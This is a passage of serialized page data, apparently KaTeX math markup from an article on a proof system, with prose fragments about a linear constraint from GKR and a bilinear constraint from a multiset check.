24],{"type":23,"tag":504,"props":121416,"children":121418},{"className":121417},[529,29],[121419],{"type":23,"tag":504,"props":121420,"children":121422},{"className":121421},[529],[121423],{"type":29,"value":120519},{"type":23,"tag":504,"props":121425,"children":121427},{"className":121426},[666],[121428],{"type":23,"tag":504,"props":121429,"children":121431},{"className":121430},[671,672],[121432,121461],{"type":23,"tag":504,"props":121433,"children":121435},{"className":121434},[677],[121436,121456],{"type":23,"tag":504,"props":121437,"children":121439},{"className":121438,"style":1180},[682],[121440],{"type":23,"tag":504,"props":121441,"children":121442},{"style":115956},[121443,121447],{"type":23,"tag":504,"props":121444,"children":121446},{"className":121445,"style":693},[692],[],{"type":23,"tag":504,"props":121448,"children":121450},{"className":121449},[698,699,700,701],[121451],{"type":23,"tag":504,"props":121452,"children":121454},{"className":121453,"style":116049},[529,530,701],[121455],{"type":29,"value":10701},{"type":23,"tag":504,"props":121457,"children":121459},{"className":121458},[712],[121460],{"type":29,"value":715},{"type":23,"tag":504,"props":121462,"children":121464},{"className":121463},[677],[121465],{"type":23,"tag":504,"props":121466,"children":121468},{"className":121467,"style":120736},[682],[121469],{"type":23,"tag":504,"props":121470,"children":121471},{},[],{"type":23,"tag":504,"props":121473,"children":121475},{"className":121474,"style":1426},[537],[],{"type":23,"tag":504,"props":121477,"children":121479},{"className":121478},[1431],[121480],{"type":29,"value":113088},{"type":23,"tag":504,"props":121482,"children":121484},{"className":121483,"style":1426},[537],[],{"type":23,"tag":504,"props":121486,"children":121488},{"className":121487},[518],[121489,121493,121498,121507],{"type":23,"tag":504,"props":121490,"children":121492},{"className":121491,"style":2160},[523],[],{"type":23,"tag":504,"props":121494,"children":121496},{"className":121495},[600],[121497],{"type":29,"value":603},{"type":23,"tag":504,"props":121499,"children":121501},{"className":121500},[529,29],[121502],{"type":23,"tag":504,"props":121503,"children":121505},{"className":121504},[529],[121506],{"type":29,"value":120776},{"type":23,"tag":504,"props":121508,"children":121510},{"className":121509},[930],[121511],{"type":29,"value":933},{"type":23,"tag":32,"props":121513,"children":121514},{},[121515,121517,121686,121687,121856],{"type":29,"value":121516},"If we vary ",{"type":23,"tag":154,"props":121518,"children":121520},{"className":121519},[500,501],[121521],{"type":23,"tag":504,"props":121522,"children":121524},{"className":121523},[507],[121525],{"type":23,"tag":504,"props":121526,"children":121528},{"className":121527,"ariaHidden":513},[512],[121529,121607],{"type":23,"tag":504,"props":121530,"children":121532},{"className":121531},[518],[121533,121537,121594,121598,121603],{"type":23,"tag":504,"props":121534,"children":121536},{"className":121535,"style":111796},[523],[],{"type":23,"tag":504,"props":121538,"children":121540},{"className":121539},[529],[121541,121546],{"type":23,"tag":504,"props":121542,"children":121544},{"className":121543},[529,530],[121545],{"type":29,"value":21327},{"type":23,"tag":504,"props":121547,"children":121549},{"className":121548},[666],[121550],{"type":23,"tag":504,"props":121551,"children":121553},{"className":121552},[671,672],[121554,121583],{"type":23,"tag":504,"props":121555,"children":121557},{"className":121556},[677],[121558,121578],{"type":23,"tag":504,"props":121559,"children":121561},{"className":121560,"style":683},[682],[121562],{"type":23,"tag":504,"props":121563,"children":121564},{"style":687},[121565,121569],{"type":23,"tag":504,"props":121566,"children":121568},{"className":121567,"style":693},[692],[],{"type":23,"tag":504,"props":121570,"children":121572},{"className":121571},[698,699,700,701],[121573],{"type":23,"tag":504,"props":121574,"children":121576},{"className":121575},[529,701],[121577],{"type":29,"value":708},{"type":23,"tag":504,"props":121579,"children":121581},{"className":121580},[712],[121582],{"type":29,"value":715},{"type":23,"tag":504,"props":121584,"children":121586},{"className":121585},[677],[121587],{"type":23,"tag":504,"props":121588,"children":121590},{"className":121589,"style":723},[682],[121591],{"type":23,"tag":504,"props":121592,"children":121593},{},[],{"type":23,"tag":504,"props":121595,"children":121597},{"className":121596,"style":538},[537],[],{"type":23,"tag":504,"props":121599,"children":121601},{"className":121600},[543],[121602],{"type":29,"value":546},{"type":23,"tag":504,"props":121604,"children":121606},{"className":121605,"style":538},[537],[],{"type":23,"tag":504,"props":121608,"children":121610},{"className":121609},[518],[121611,121615,121656,121661,121666,121671,121676,121681],{"type":23,"tag":504,"props":121612,"children":121614},{"className":121613,"style":558},[523],[],{"type":23,"tag":504,"props":121616,"children":121618},{"className":121617},[529],[121619,121628,121633,121642,121647],{"type":23,"tag":504,"props":121620,"children":121622},{"className":121621},[529,29],[121623],{"type":23,"tag":504,"props":121624,"children":121626},{"className":121625},[529],[121627],{"type":29,"value":1477},{"type":23,"tag":504,"props":121629,"children":121631},{"className":121630,"style":624},[529],[121632],{"type":29,"value":627},{"type":23,"tag":504,"props":121634,"children":121636},{"className":121635},[529,29],[121637],{"type":23,"tag":504,"props":121638,"children":121640},{"className":121639},[529],[121641],{"type":29,"value":120500},{"type":23,"tag":504,"props":121643,"children":121645},{"className":121644,"style":624},[529],[121646],{"type":29,"value":627},{"type":23,"tag":504,"props":121648,"children":121650},{"className":121649},[529,29],[121651],{"type":23,"tag":504,"props":121652,"children":121654},{"className":121653},[529],[121655],{"type":29,"value":120519},{"type":23,"tag":504,"props":121657,"children":121659},{"className":121658},[600],[121660],{"type":29,"value":1380},{"type":23,"tag":504,"props":121662,"children":121664},{"className":121663},[529],[121665],{"type":29,"value":708},{"type":23,"tag":504,"props":121667,"children":121669},{"className":121668},[930],[121670],{"type":29,"value":1422},{"type":23,"tag":504,"props":121672,"children":121674},{"className":121673},[600],[121675],{"type":29,"value":1380},{"type":23,"tag":504,"props":121677,"children":121679},{"className":121678},[529],[121680],{"type":29,"value":708},{"type":23,"tag":504,"props":121682,"children":121684},{"className":121683},[930],[121685],{"type":29,"value":1422},{"type":29,"value":4478},{"type":23,"tag":154,"props":121688,"children":121690},{"className":121689},[500,501],[121691],{"type":23,"tag":504,"props":121692,"children":121694},{"className":121693},[507],[121695],{"type":23,"tag":504,"props":121696,"children":121698},{"className":121697,"ariaHidden":513},[512],[121699,121777],{"type":23,"tag":504,"props":121700,"children":121702},{"className":121701},[518],[121703,121707,121764,121768,121773],{"type":23,"tag":504,"props":121704,"children":121706},{"className":121705,"style":111796},[523],[],{"type":23,"tag":504,"props":121708,"children":121710},{"className":121709},[529],[121711,121716],{"type":23,"tag":504,"props":121712,"children":121714},{"className":121713},[529,530],[121715],{"type":29,"value":21327},{"type":23,"tag":504,"props":121717,"children":121719},{"className":121718},[666],[121720],{"type":23,"tag":504,"props":121721,"children":121723},{"className":121722},[671,672],[121724,121753],{"type":23,"tag":504,"props":121725,"children":121727},{"className":121726},[677],[121728,121748],{"type":23,"tag":504,"props":121729,"children":121731},{"className":121730,"style":683},[682],[121732],{"type":23,"tag":504,"props":121733,"children":121734},{"style":687},[121735,121739],{"type":23,"tag":504,"props":121736,"children":121738},{"className":121737,"style":693},[692],[],{"type":23,"tag":504,"props":121740,"children":121742},{"className":121741},[698,699,700,701],[121743],{"type":23,"tag":504,"props":121744,"children":121746},{"className":121745},[529,701],[121747],{"type":29,"value":826},{"type":23,"tag":504,"props":121749,"children":121751},{"className":121750},[712],[121752],{"type":29,"value":715},{"type":23,"tag":504,"props":121754,"children":121756},{"className":121755},[677],[121757],{"type":23,"tag":504,"props":121758,"children":121760},{"className":121759,"style":723},[682],[121761],{"type":23,"tag":504,"props":121762,"children":121763},{},[],{"type":23,"tag":504,"props":121765,"children":121767},{"className":121766,"style":538},[537],[],{"type":23,"tag":504,"props":121769,"children":121771},{"className":121770},[543],[121772],{"type":29,"value":546},{"type":23,"tag":504,"props":121774,"children":121776},{"className":121775,"style":538},[537],[],{"type":23,"tag":504,"props":121778,"children":121780},{"className":121779},[518],[121781,121785,121826,121831,121836,121841,121846,121851],{"type":23,"tag":504,"props":121782,"children":121784},{"className":121783,"style":558},[523],[],{"type":23,"tag":504,"props":121786,"children":121788},{"className":121787},[529],[121789,121798,121803,121812,121817],{"type":23,"tag":504,"props":121790,"children":121792},{"className":121791},[529,29],[121793],{"type":23,"tag":504,"props":121794,"children":121796},{"className":121795},[529],[121797],{"type":29,"value":1477},{"type":23,"tag":504,"props":121799,"children":121801},{"className":121800,"style":624},[529],[121802],{"type":29,"value":627},{"type":23,"tag":504,"props":121804,"children":121806},{"className":121805},[529,29],[121807],{"type":23,"tag":504,"props":121808,"children":121810},{"className":121809},[529],[121811],{"type":29,"value":120500},{"type":23,"tag":504,"props":121813,"children":121815},{"className":121814,"style":624},[529],[121816],{"type":29,"value":627},{"type":23,"tag":504,"props":121818,"children":121820},{"className":121819},[529,29],[121821],{"type":23,"tag":504,"props":121822,"children":121824},{"className":121823},[529],[121825],{"type":29,"value":120519},{"type":23,"tag":504,"props":121827,"children":121829},{"className":121828},[600],[121830],{"type":29,"value":1380},{"type":23,"tag":504,"props":121832,"children":121834},{"className":121833},[529],[121835],{"type":29,"value":708},{"type":23,"tag":504,"props":121837,"children":121839},{"className":121838},[930],[121840],{"type":29,"value":1422},{"type":23,"tag":504,"props":121842,"children":121844},{"className":121843},[600],[121845],{"type":29,"value":1380},{"type":23,"tag":504,"props":121847,"children":121849},{"className":121848},[529],[121850],{"type":29,"value":826},{"type":23,"tag":504,"props":121852,"children":121854},{"className":121853},[930],[121855],{"type":29,"value":1422},{"type":29,"value":121857}," we get the following constraint:",{"type":23,"tag":32,"props":121859,"children":121860},{},[121861],{"type":23,"tag":154,"props":121862,"children":121864},{"className":121863},[500,501],[121865],{"type":23,"tag":504,"props":121866,"children":121868},{"className":121867},[507],[121869],{"type":23,"tag":504,"props":121870,"children":121872},{"className":121871,"ariaHidden":513},[512],[121873,121952,122030,122071],{"type":23,"tag":504,"props":121874,"children":121876},{"className":121875},[518],[121877,121882,121939,121943,121948],{"type":23,"tag":504,"props":121878,"children":121881},{"className":121879,"style":121880},[523],"height:0.5945em;vertical-align:-0.15em;",[],{"type":23,"tag":504,"props":121883,"children":121885},{"className":121884},[529],[121886,121891],{"type":23,"tag":504,"props":121887,"children":121889},{"className":121888},[529,530],[121890],{"type":29,"value":21327},{"type":23,"tag":504,"props":121892,"children":121894},{"className":121893},[666],[121895],{"type":23,"tag":504,"props":121896,"children":121898},{"className":121897},[671,672],[121899,121928],{"type":23,"tag":504,"props":121900,"children":121902},{"className":121901},[677],[121903,121923],{"type":23,"tag":504,"props":121904,"children":121906},{"className":121905,"style":683},[682],[121907],{"type":23,"tag":504,"props":121908,"children":121909},{"style":687},[121910,121914],{"type":23,"tag":504,"props":121911,"children":121913},{"className":121912,"style":693},[692],[],{"type":23,"tag":504,"props":121915,"children":121917},{"className":121916},[698,699,700,701],[121918],{"type":23,"tag":504,"props":121919,"children":121921},{"className":121920},[529,701],[121922],{"type":29,"value":708},{"type":23,"tag":504,"props":121924,"children":121926},{"className":121925},[712],[121927],{"type":29,"value":715},{"type":23,"tag":504,"props":121929,"children":121931},{"className":121930},[677],[121932],{"type":23,"tag":504,"props":121933,"children":121935},{"className":121934,"style":723},[682],[121936],{"type":23,"tag":504,"props":121937,"children":121938},{},[],{"type":23,"tag":504,"props":121940,"children":121942},{"className":121941,"style":1426},[537],[],{"type":23,"tag":504,"props":121944,"children":121946},{"className":121945},[1431],[121947],{"type":29,"value":113088},{"type":23,"tag":504,"props":121949,"children":121951},{"className":121950,"style":1426},[537],[],{"type":23,"tag":504,"props":121953,"children":121955},{"className":121954},[518],[121956,121960,122017,122021,122026],{"type":23,"tag":504,"props":121957,"children":121959},{"className":121958,"style":121880},[523],[],{"type":23,"tag":504,"props":121961,"children":121963},{"className":121962},[529],[121964,121969],{"type":23,"tag":504,"props":121965,"children":121967},{"className":121966},[529,530],[121968],{"type":29,"value":21327},{"type":23,"tag":504,"props":121970,"children":121972},{"className":121971},[666],[121973],{"type":23,"tag":504,"props":121974,"children":121976},{"className":121975},[671,672],[121977,122006],{"type":23,"tag":504,"props":121978,"children":121980},{"className":121979},[677],[121981,122001],{"type":23,"tag":504,"props":121982,"children":121984},{"className":121983,"style":683},[682],[121985],{"type":23,"tag":504,"props":121986,"children":121987},{"style":687},[121988,121992],{"type":23,"tag":504,"props":121989,"children":121991},{"className":121990,"style":693},[692],[],{"type":23,"tag":504,"props":121993,"children":121995},{"className":121994},[698,699,700,701],[121996],{"type":23,"tag":504,"props":121997,"children":121999},{"className":121998},[529,701],[122000],{"type":29,"value":826},{"type":23,"tag":504,"props":122002,"children":122004},{"className":122003},[712],[122005],{"type":29,"value":715},{"type":23,"tag":504,"props":122007,"children":122009},{"className":122008},[677],[122010],{"type":23,"tag":504,"props":122011,"children":122013},{"className":122012,"style":723},[682],[122014],{"type":23,"tag":504,"props":122015,"children":122016},{},[],{"type":23,"tag":504,"props":122018,"children":122020},{"className":122019,"style":1426},[537],[],{"type":23,"tag":504,"props":122022,"children":122024},{"className":122023},[1431],[122025],{"type":29,"value":113088},{"type":23,"tag":504,"props":122027,"children":122029},{"className":122028,"style":1426},[537],[],{"type":23,"tag":504,"props":122031,"children":122033},{"className":122032},[518],[122034,122038,122043,122053,122058,122062,122067],{"type":23,"tag":504,"props":122035,"children":122037},{"className":122036,"style":2160},[523],[],{"type":23,"tag":504,"props":122039,"children":122041},{"className":122040},[600],[122042],{"type":29,"value":603},{"type":23,"tag":504,"props":122044,"children":122046},{"className":122045},[529,29],[122047],{"type":23,"tag":504,"props":122048,"children":122050},{"className":122049},[529],[122051],{"type":29,"value":122052},"rest of product",{"type":23,"tag":504,"props":122054,"children":122056},{"className":122055},[930],[122057],{"type":29,"value":933},{"type":23,"tag":504,"props":122059,"children":122061},{"className":122060,"style":538},[537],[],{"type":23,"tag":504,"props":122063,"children":122065},{"className":122064},[543],[122066],{"type":29,"value":546},{"type":23,"tag":504,"props":122068,"children":122070},{"className":122069,"style":538},[537],[],{"type":23,"tag":504,"props":122072,"children":122074},{"className":122073},[518],[122075,122079],{"type":23,"tag":504,"props":122076,"children":122078},{"className":122077,"style":116846},[523],[],{"type":23,"tag":504,"props":122080,"children":122082},{"className":122081},[529,29],[122083],{"type":23,"tag":504,"props":122084,"children":122086},{"className":122085},[529],[122087],{"type":29,"value":116857},{"type":23,"tag":32,"props":122089,"children":122090},{},[122091,122093,122246],{"type":29,"value":122092},"This is bilinear in ",{"type":23,"tag":154,"props":122094,"children":122096},{"className":122095},[500,501],[122097],{"type":23,"tag":504,"props":122098,"children":122100},{"className":122099},[507],[122101],{"type":23,"tag":504,"props":122102,"children":122104},{"className":122103,"ariaHidden":513},[512],[122105],{"type":23,"tag":504,"props":122106,"children":122108},{"className":122107},[518],[122109,122113,122118,122175,122180,122184,122241],{"type":23,"tag":504,"props":122110,"children":122112},{"className":122111,"style":2160},[523],[],{"type":23,"tag":504,"props":122114,"children":122116},{"className":122115},[600],[122117],{"type":29,"value":603},{"type":23,"tag":504,"props":122119,"children":122121},{"className":122120},[529],[122122,122127],{"type":23,"tag":504,"props":122123,"children":122125},{"className":122124},[529,530],[122126],{"type":29,"value":21327},{"type":23,"tag":504,"props":122128,"children":122130},{"className":122129},[666],[122131],{"type":23,"tag":504,"props":122132,"children":122134},{"className":122133},[671,672],[122135,122164],{"type":23,"tag":504,"props":122136,"children":122138},{"className":122137},[677],[122139,122159],{"type":23,"tag":504,"props":122140,"children":122142},{"className":122141,"style":683},[682],[122143],{"type":23,"tag":504,"props":122144,"children":122145},{"style":687},[122146,122150],{"type":23,"tag":504,"props":122147,"children":122149},{"className":122148,"style":693},[692],[],{"type":23,"tag":504,"props":122151,"children":122153},{"className":122152},[698,699,700,701],[122154],{"type":23,"tag":504,"props":122155,"children":122157},{"className":122156},[529,701],[122158],{"type":29,"value":708},{"type":23,"tag":504,"props":122160,"children":122162},{"className":122161},[712],[122163],{"type":29,"value":715},{"type":23,"tag":504,"props":122165,"children":122167},{"className":122166},[677],[122168],{"type":23,"tag":504,"props":122169,"children":122171},{"className":122170,"style":723},[682],[122172],{"type":23,"tag":504,"props":122173,"children":122174},{},[],{"type":23,"tag":504,"props":122176,"children":122178},{"className":122177},[2267],[122179],{"type":29,"value":2270},{"type":23,"tag":504,"props":122181,"children":122183},{"className":122182,"style":2274},[537],[],{"type":23,"tag":504,"props":122185,"children":122187},{"className":122186},[529],[122188,122193],{"type":23,"tag":504,"props":122189,"children":122191},{"className":122190},[529,530],[122192],{"type":29,"value":21327},{"type":23,"tag":504,"props":122194,"children":122196},{"className":122195},[666],[122197],{"type":23,"tag":504,"props":122198,"children":122200},{"className":122199},[671,672],[122201,122230],{"type":23,"tag":504,"props":122202,"children":122204},{"className":122203},[677],[122205,122225],{"type":23,"tag":504,"props":122206,"children":122208},{"className":122207,"style":683},[682],[122209],{"type":23,"tag":504,"props":122210,"children":122211},{"style":687},[122212,122216],{"type":23,"tag":504,"props":122213,"children":122215},{"className":122214,"style":693},[692],[],{"type":23,"tag":504,"props":122217,"children":122219},{"className":122218},[698,699,700,701],[122220],{"type":23,"tag":504,"props":122221,"children":122223},{"className":122222},[529,701],[122224],{"type":29,"value":826},{"type":23,"tag":504,"props":122226,"children":122228},{"className":122227},[712],[122229],{"type":29,"value":715},{"type":23,"tag":504,"props":122231,"children":122233},{"className":122232},[677],[122234],{"type":23,"tag":504,"props":122235,"children":122237},{"className":122236,"style":723},[682],[122238],{"type":23,"tag":504,"props":122239,"children":122240},{},[],{"type":23,"tag":504,"props":122242,"children":122244},{"className":122243},[930],[122245],{"type":29,"value":933},{"type":29,"value":357},{"type":23,"tag":32,"props":122248,"children":122249},{},[122250,122252,122405],{"type":29,"value":122251},"We have two unknowns ",{"type":23,"tag":154,"props":122253,"children":122255},{"className":122254},[500,501],[122256],{"type":23,"tag":504,"props":122257,"children":122259},{"className":122258},[507],[122260],{"type":23,"tag":504,"props":122261,"children":122263},{"className":122262,"ariaHidden":513},[512],[122264],{"type":23,"tag":504,"props":122265,"children":122267},{"className":122266},[518],[122268,122272,122277,122334,122339,122343,122400],{"type":23,"tag":504,"props":122269,"children":122271},{"className":122270,"style":2160},[523],[],{"type":23,"tag":504,"props":122273,"children":122275},{"className":122274},[600],[122276],{"type":29,"value":603},{"type":23,"tag":504,"props":122278,"children":122280},{"className":122279},[529],[122281,122286],{"type":23,"tag":504,"props":122282,"children":122284},{"className":122283},[529,530],[122285],{"type":29,"value":21327},{"type":23,"tag":504,"props":122287,"children":122289},{"className":122288},[666],[122290],{"type":23,"tag":504,"props":122291,"children":122293},{"className":122292},[671,672],[122294,122323],{"type":23,"tag":504,"props":122295,"children":122297},{"className":122296},[677],[122298,122318],{"type":23,"tag":504,"props":122299,"children":122301},{"className":122300,"style":683},[682],[122302],{"type":23,"tag":504,"props":122303,"children":122304},{"style":687},[122305,122309],{"type":23,"tag":504,"props":122306,"children":122308},{"className":122307,"style":693},[692],[],{"type":23,"tag":504,"props":122310,"children":122312},{"className":122311},[698,699,700,701],[122313],{"type":23,"tag":504,"props":122314,"children":122316},{"className":122315},[529,701],[122317],{"type":29,"value":708},{"type":23,"tag":504,"props":122319,"children":122321},{"className":122320},[712],[122322],{"type":29,"value":715},{"type":23,"tag":504,"props":122324,"children":122326},{"className":122325},[677],[122327],{"type":23,"tag":504,"props":122328,"children":122330},{"className":122329,"style":723},[682],[122331],{"type":23,"tag":504,"props":122332,"children":122333},{},[],{"type":23,"tag":504,"props":122335,"children":122337},{"className":122336},[2267],[122338],{"type":29,"value":2270},{"type":23,"tag":504,"props":122340,"children":122342},{"className":122341,"style":2274},[537],[],{"type":23,"tag":504,"props":122344,"children":122346},{"className":122345},[529],[122347,122352],{"type":23,"tag":504,"props":122348,"children":122350},{"className":122349},[529,530],[122351],{"type":29,"value":21327},{"type":23,"tag":504,"props":122353,"children":122355},{"className":122354},[666],[122356],{"type":23,"tag":504,"props":122357,"children":122359},{"className":122358},[671,672],[122360,122389],{"type":23,"tag":504,"props":122361,"children":122363},{"className":122362},[677],[122364,122384],{"type":23,"tag":504,"props":122365,"children":122367},{"className":122366,"style":683},[682],[122368],{"type":23,"tag":504,"props":122369,"children":122370},{"style":687},[122371,122375],{"type":23,"tag":504,"props":122372,"children":122374},{"className":122373,"style":693},[692],[],{"type":23,"tag":504,"props":122376,"children":122378},{"className":122377},[698,699,700,701],[122379],{"type":23,"tag":504,"props":122380,"children":122382},{"className":122381},[529,701],[122383],{"type":29,"value":826},{"type":23,"tag":504,"props":122385,"children":122387},{"className":122386},[712],[122388],{"type":29,"value":715},{"type":23,"tag":504,"props":122390,"children":122392},{"className":122391},[677],[122393],{"type":23,"tag":504,"props":122394,"children":122396},{"className":122395,"style":723},[682],[122397],{"type":23,"tag":504,"props":122398,"children":122399},{},[],{"type":23,"tag":504,"props":122401,"children":122403},{"className":122402},[930],[122404],{"type":29,"value":933},{"type":29,"value":122406}," and two equations, one linear and one bilinear:",{"type":23,"tag":139,"props":122408,"children":122409},{},[122410,122737],{"type":23,"tag":143,"props":122411,"children":122412},{},[122413,122415],{"type":29,"value":122414},"Linear (from GKR): ",{"type":23,"tag":154,"props":122416,"children":122418},{"className":122417},[500,501],[122419],{"type":23,"tag":504,"props":122420,"children":122422},{"className":122421},[507],[122423],{"type":23,"tag":504,"props":122424,"children":122426},{"className":122425,"ariaHidden":513},[512],[122427,122563,122698,122724],{"type":23,"tag":504,"props":122428,"children":122430},{"className":122429},[518],[122431,122436,122493,122550,122554,122559],{"type":23,"tag":504,"props":122432,"children":122435},{"className":122433,"style":122434},[523],"height:0.7333em;vertical-align:-0.15em;",[],{"type":23,"tag":504,"props":122437,"children":122439},{"className":122438},[529],[122440,122445],{"type":23,"tag":504,"props":122441,"children":122443},{"className":122442},[529,530],[122444],{"type":29,"value":68},{"type":23,"tag":504,"props":122446,"children":122448},{"className":122447},[666],[122449],{"type":23,"tag":504,"props":122450,"children":122452},{"className":122451},[671,672],[122453,122482],{"type":23,"tag":504,"props":122454,"children":122456},{"className":122455},[677],[122457,122477],{"type":23,"tag":504,"props":122458,"children":122460},{"className":122459,"style":683},[682],[122461],{"type":23,"tag":504,"props":122462,"children":122463},{"style":687},[122464,122468],{"type":23,"tag":504,"props":122465,"children":122467},{"className":122466,"style":693},[692],[],{"type":23,"tag":504,"props":122469,"children":122471},{"className":122470},[698,699,700,701],[122472],{"type":23,"tag":504,"props":122473,"children":122475},{"className":122474},[529,701],[122476],{"type":29,"value":708},{"type":23,"tag":504,"props":122478,"children":122480},{"className":122479},[712],[122481],{"type":29,"value":715},{"type":23,"tag":504,"props":122483,"children":122485},{"className":122484},[677],[122486],{"type":23,"tag":504,"props":122487,"children":122489},{"className":122488,"style":723},[682],[122490],{"type":23,"tag":504,"props":122491,"children":122492},{},[],{"type":23,"tag":504,"props":122494,"children":122496},{"className":122495},[529],[122497,122502],{"type":23,"tag":504,"props":122498,"children":122500},{"className":122499},[529,530],[122501],{"type":29,"value":21327},{"type":23,"tag":504,"props":122503,"children":122505},{"className":122504},[666],[122506],{"type":23,"tag":504,"props":122507,"children":122509},{"className":122508},[671,672],[122510,122539],{"type":23,"tag":504,"props":122511,"children":122513},{"className":122512},[677],[122514,122534],{"type":23,"tag":504,"props":122515,"children":122517},{"className":122516,"style":683},[682],[122518],{"type":23,"tag":504,"props":122519,"children":122520},{"style":687},[122521,122525],{"type":23,"tag":504,"props":122522,"children":122524},{"className":122523,"style":693},[692],[],{"type":23,"tag":504,"props":122526,"children":122528},{"className":122527},[698,699,700,701],[122529],{"type":23,"tag":504,"props":122530,"children":122532},{"className":122531},[529,701],[122533],{"type":29,"value":708},{"type":23,"tag":504,"props":122535,"children":122537},{"className":122536},[712],[122538],{"type":29,"value":715},{"type":23,"tag":504,"props":122540,"children":122542},{"className":122541},[677],[122543],{"type":23,"tag":504,"props":122544,"children":122546},{"className":122545,"style":723},[682],[122547],{"type":23,"tag":504,"props":122548,"children":122549},{},[],{"type":23,"tag":504,"props":122551,"children":122553},{"className":122552,"style":1426},[537],[],{"type":23,"tag":504,"props":122555,"children":122557},{"className":122556},[1431],[122558],{"type":29,"value":6422},{"type":23,"tag":504,"props":122560,"children":122562},{"className":122561,"style":1426},[537],[],{"type":23,"tag":504,"props":122564,"children":122566},{"className":122565},[518],[122567,122571,122628,122685,122689,122694],{"type":23,"tag":504,"props":122568,"children":122570},{"className":122569,"style":122434},[523],[],{"type":23,"tag":504,"props":122572,"children":122574},{"className":122573},[529],[122575,122580],{"type":23,"tag":504,"props":122576,"children":122578},{"className":122577},[529,530],[122579],{"type":29,"value":68},{"type":23,"tag":504,"props":122581,"children":122583},{"className":122582},[666],[122584],{"type":23,"tag":504,"props":122585,"children":122587},{"className":122586},[671,672],[122588,122617],{"type":23,"tag":504,"props":122589,"children":122591},{"className":122590},[677],[122592,122612],{"type":23,"tag":504,"props":122593,"children":122595},{"className":122594,"style":683},[682],[122596],{"type":23,"tag":504,"props":122597,"children":122598},{"style":687},[122599,122603],{"type":23,"tag":504,"props":122600,"children":122602},{"className":122601,"style":693},[692],[],{"type":23,"tag":504,"props":122604,"children":122606},{"className":122605},[698,699,700,701],[122607],{"type":23,"tag":504,"props":122608,"children":122610},{"className":122609},[529,701],[122611],{"type":29,"value":826},{"type":23,"tag":504,"props":122613,"children":122615},{"className":122614},[712],[122616],{"type":29,"value":715},{"type":23,"tag":504,"props":122618,"children":122620},{"className":122619},[677],[122621],{"type":23,"tag":504,"props":122622,"children":122624},{"className":122623,"style":723},[682],[122625],{"type":23,"tag":504,"props":122626,"children":122627},{},[],{"type":23,"tag":504,"props":122629,"children":122631},{"className":122630},[529],[122632,122637],{"type":23,"tag":504,"props":122633,"children":122635},{"className":122634},[529,530],[122636],{"type":29,"value":21327},{"type":23,"tag":504,"props":122638,"children":122640},{"className":122639},[666],[122641],{"type":23,"tag":504,"props":122642,"children":122644},{"className":122643},[671,672],[122645,122674],{"type":23,"tag":504,"props":122646,"children":122648},{"className":122647},[677],[122649,122669],{"type":23,"tag":504,"props":122650,"children":122652},{"className":122651,"style":683},[682],[122653],{"type":23,"tag":504,"props":122654,"children":122655},{"style":687},[122656,122660],{"type":23,"tag":504,"props":122657,"children":122659},{"className":122658,"style":693},[692],[],{"type":23,"tag":504,"props":122661,"children":122663},{"className":122662},[698,699,700,701],[122664],{"type":23,"tag":504,"props":122665,"children":122667},{"className":122666},[529,701],[122668],{"type":29,"value":826},{"type":23,"tag":504,"props":122670,"children":122672},{"className":122671},[712],[122673],{"type":29,"value":715},{"type":23,"tag":504,"props":122675,"children":122677},{"className":122676},[677],[122678],{"type":23,"tag":504,"props":122679,"children":122681},{"className":122680,"style":723},[682],[122682],{"type":23,"tag":504,"props":122683,"children":122684},{},[],{"type":23,"tag":504,"props":122686,"children":122688},{"className":122687,"style":1426},[537],[],{"type":23,"tag":504,"props":122690,"children":122692},{"className":122691},[1431],[122693],{"type":29,"value":6422},{"type":23,"tag":504,"props":122695,"children":122697},{"className":122696,"style":1426},[537],[],{"type":23,"tag":504,"props":122699,"children":122701},{"className":122700},[518],[122702,122706,122711,122715,122720],{"type":23,"tag":504,"props":122703,"children":122705},{"className":122704,"style":112667},[523],[],{"type":23,"tag":504,"props":122707,"children":122709},{"className":122708},[529,530],[122710],{"type":29,"value":3110},{"type":23,"tag":504,"props":122712,"children":122714},{"className":122713,"style":538},[537],[],{"type":23,"tag":504,"props":122716,"children":122718},{"className":122717},[543],[122719],{"type":29,"value":546},{"type":23,"tag":504,"props":122721,"children":122723},{"className":122722,"style":538},[537],[],{"type":23,"tag":504,"props":122725,"children":122727},{"className":122726},[518],[122728,122732],{"type":23,"tag":504,"props":122729,"children":122731},{"className":122730,"style":1690},[523],[],{"type":23,"tag":504,"props":122733,"children":122735},{"className":122734},[529],[122736],{"type":29,"value":708},{"type":23,"tag":143,"props":122738,"children":122739},{},[122740,122742],{"type":29,"value":122741},"Bilinear (from multiset): ",{"type":23,"tag":154,"props":122743,"children":122745},{"className":122744},[500,501],[122746],{"type":23,"tag":504,"props":122747,"children":122749},{"className":122748},[507],[122750],{"type":23,"tag":504,"props":122751,"children":122753},{"className":122752,"ariaHidden":513},[512],[122754,122780,122858,122936,122962],{"type":23,"tag":504,"props":122755,"children":122757},{"className":122756},[518],[122758,122762,122767,122771,122776],{"type":23,"tag":504,"props":122759,"children":122761},{"className":122760,"style":524},[523],[],{"type":23,"tag":504,"props":122763,"children":122765},{"className":122764,"style":2089},[529,530],[122766],{"type":29,"value":2092},{"type":23,"tag":504,"props":122768,"children":122770},{"className":122769,"style":1426},[537],[],{"type":23,"tag":504,"props":122772,"children":122774},{"className":122773},[1431],[122775],{"type":29,"value":113088},{"type":23,"tag":504,"props":122777,"children":122779},{"className":122778,"style":1426},[537],[],{"type":23,"tag":504,"props":122781,"children":122783},{"className":122782},[518],[122784,122788,122845,122849,122854],{"type":23,"tag":504,"props":122785,"children":122787},{"className":122786,"style":121880},[523],[],{"type":23,"tag":504,"props":122789,"children":122791},{"className":122790},[529],[122792,122797],{"type":23,"tag":504,"props":122793,"children":122795},{"className":122794},[529,530],[122796],{"type":29,"value":21327},{"type":23,"tag":504,"props":122798,"children":122800},{"className":122799},[666],[122801],{"type":23,"tag":504,"props":122802,"children":122804},{"className":122803},[671,672],[122805,122834],{"type":23,"tag":504,"props":122806,"children":122808},{"className":122807},[677],[122809,122829],{"type":23,"tag":504,"props":122810,"children":122812},{"className":122811,"style":683},[682],[122813],{"type":23,"tag":504,"props":122814,"children":122815},{"style":687},[122816,122820],{"type":23,"tag":504,"props":122817,"children":122819},{"className":122818,"style":693},[692],[],{"type":23,"tag":504,"props":122821,"children":122823},{"className":122822},[698,699,700,701],[122824],{"type":23,"tag":504,"props":122825,"children":122827},{"className":122826},[529,701],[122828],{"type":29,"value":708},{"type":23,"tag":504,"props":122830,"children":122832},{"className":122831},[712],[122833],{"type":29,"value":715},{"type":23,"tag":504,"props":122835,"children":122837},{"className":122836},[677],[122838],{"type":23,"tag":504,"props":122839,"children":122841},{"className":122840,"style":723},[682],[122842]